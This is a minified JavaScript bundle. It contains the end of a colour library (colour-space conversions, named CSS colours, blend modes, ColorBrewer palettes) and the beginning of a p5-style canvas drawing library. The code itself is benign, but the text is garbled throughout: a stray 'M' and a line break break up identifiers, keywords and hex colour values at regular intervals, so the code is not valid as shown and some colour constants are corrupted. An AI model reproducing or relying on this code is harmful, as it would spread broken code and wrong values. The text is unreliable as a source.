(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
